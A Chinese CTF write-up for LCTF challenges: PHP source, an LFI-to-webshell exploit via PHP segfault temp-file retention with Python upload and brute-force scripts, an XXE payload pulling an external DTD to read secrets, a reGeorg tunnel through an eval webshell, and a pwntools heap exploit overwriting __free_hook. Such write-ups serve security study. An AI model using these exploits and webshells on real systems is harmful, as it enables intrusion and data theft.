function show($path) { if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) { $path = "/var/www"; } header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } function check($path){ if(isset($_GET['c'])){ if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['c'])){ die("Hacker Hacker Hacker"); }else{ $file_path = $_GET['c']; list($width, $height, $type) = @getimagesize($file_path); die("Width is :" . $width." px<br>" . "Height is :" . $height." px<br>"); } }else{ list($width, $height, $type) = @getimagesize($path."/avatar.gif"); die("Width is :" . $width." px<br>" . "Height is :" . $height." px<br>"); } } function move($source_path,$dest_name){ global $FILEBOX; $dest_path = $FILEBOX . "/" . $dest_name; if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){ die("Hacker Hacker Hacker"); }else{ if(copy($source_path,$dest_path)){ die("Successful copy"); }else{ die("Copy failed"); } } } $mode = $_GET["m"]; if ($mode == "upload"){ upload(check_session()); } else if ($mode == "show"){ show(check_session()); } else if ($mode == "check"){ check(check_session()); } else if($mode == "move"){ move($_GET['source'],$_GET['dest']); } else{ highlight_file(__FILE__); } include("./comments.html");
差别:
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
这一段正则里边多了data
,所以无法读取data
目录下的内容。
方法1 1 include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
可以导致 php 在执行过程中 Segment Fault,本地文件包含漏洞可以让 php 包含自身从而导致死循环 然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留。
http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resource=/etc/passwd
同时上传文件,文件就会保留在tmp
中,然后爆破即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requests import string import itertools charset = string.digits + string.letters host = "192.168.43.155" port = 80 base_url = "http://%s:%d" % (host, port) def upload_file_to_include(url, file_content): files = {'file': ('evil.jpg', file_content, 'image/jpeg')} try: response = requests.post(url, files=files) except Exception as e: print e def generate_tmp_files(): webshell_content = '<?php eval($_REQUEST[c]);?>'.encode( "base64").strip().encode("base64").strip().encode("base64").strip() file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % ( webshell_content) phpinfo_url = "%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd" % ( base_url) length = 6 times = len(charset) ** (length / 2) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file_to_include(phpinfo_url, file_content) def main(): generate_tmp_files() if __name__ == "__main__": main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string charset = string.digits + string.letters host = "192.168.43.155" port = 80 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/include.php?f=/tmp/php%s" % ( base_url, filename) print url try: response = requests.get(url) if 'flag' in response.content: print "[+] Include success!" return True except Exception as e: print e return False def main(): brute_force_tmp_files() if __name__ == "__main__": main() 作者:王一航 链接:https://www.jianshu.com/p/dfd049924258 來源:简书 简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
参考链接:
https://www.jianshu.com/p/dfd049924258
利用tmpfile getshell
方法二: 参考链接: https://www.anquanke.com/post/id/164818
8080端口是一个tomcat,上传评论的时候Content-Type改成xml存在xxe漏洞,有回显。但是POST数据中过滤了很多关键词,例如root、etc等,所以绕过方式为POST数据
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE name [ <!ENTITY % bbb SYSTEM "http://ip:8000/ext.dtd">%bbb; ]> <map> <name>&ddd;</name> <content>asddsa</content> </map>
ext.dtd中放敏感数据:
1 <!ENTITY ddd SYSTEM "file:///var/www/read_secret">
God of domain pentest 为复现: 仅仅练习reGeorg操作。
1 2 3 4 5 6 题目描述: windows域环境权限不好配,还请各位师傅高抬贵手,不要搅屎 c段只用到了0-20,不需要扫21-255,端口也只开放了常用端口。 web.lctf.com中有个域用户是web.lctf.com\buguake,密码是172.21.0.8的本地管理员密码 188.131.161.90
端口转发工具:https://github.com/zsxsoft/reGeorg
index.php:
1 2 3 4 5 <?php highlight_file(__FILE__); $lshell=$_GET['lshell']; eval($lshell); var_dump($lshell);
启动脚本:
1 ht@TIANJI:/mnt/c/Users/HT/Desktop/lctf/reGeorg$ python reGeorgSocksProxy.py -p 8080 -u http://188.131.161.90/index.php -k lshell
设置代理:
Pwn easy_heap exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #-*- coding:utf8 from pwn import * def add(size,data): p.recvuntil('>') p.sendline('1') p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(data) def dele(index): p.recvuntil('>') p.sendline('2') p.recvuntil('index') p.sendline(str(index)) context.log_level = "debug" p=process('./easy_heap') #,env={'LD_PRELOAD':'./libc64.so'}) #p=remote('118.25.150.134', 6666) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') for i in range(10): add(0xf0,'aaa\n') dele(1) for i in range(3,8): dele(i) dele(9) dele(8) dele(2) dele(0) for i in range(7): add(0xf0,'aaa\n') # 这时候,unsorted bin中还有3个块,申请一个出来时,剩下的都会被添加到tcache中 add(0,'') """ 0x5595c02f3500 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 257, fd = 0x5595c02f3b00, bk = 0x5595c02f3300, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/4xg 0x5595c02f3b00 0x5595c02f3b00: 0x0000000000000000 0x0000000000000101 0x5595c02f3b10: 0x0000000000000000 0x00005595c02f3500 pwndbg> x/4xg 0x5595c02f3300 0x5595c02f3300: 0x0000000000000000 0x0000000000000101 0x5595c02f3310: 0x00005595c02f3500 0x00007fbc5c2bec78 这样就可以绕过检查: p->bk->fd == p && p->fd->bk == p """ # 这里需要注意,不能添加任何值,否则会破坏里边的指针 add(0xf8, '\n') dele(0) dele(1) dele(2) dele(3) dele(4) dele(6) """ 0x5595c02f3600 { mchunk_prev_size = 256, mchunk_size = 256, fd = 0x559500616161, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } """ dele(5) p.recvuntil('>') p.sendline('3') p.recvuntil("index \n> ") p.sendline('8') addr = u64(p.recv(6).ljust(8,'\x00')) print "addr", hex(addr) libc_base = addr - (0x7f3c863a4c78 - 0x7f3c85fca000) print "libc_base", hex(libc_base) free_hook = libc_base+libc.symbols['__free_hook'] for i in range(7): add(16,'/bin/bash\n') one = libc_base + 0xfccde print "free_hook", hex(free_hook) add(0,'') dele(5) dele(8) dele(9) add(16,p64(free_hook)+'\n') add(16,'abc\n') add(16,p64(one)+'\n') dele(0) p.interactive()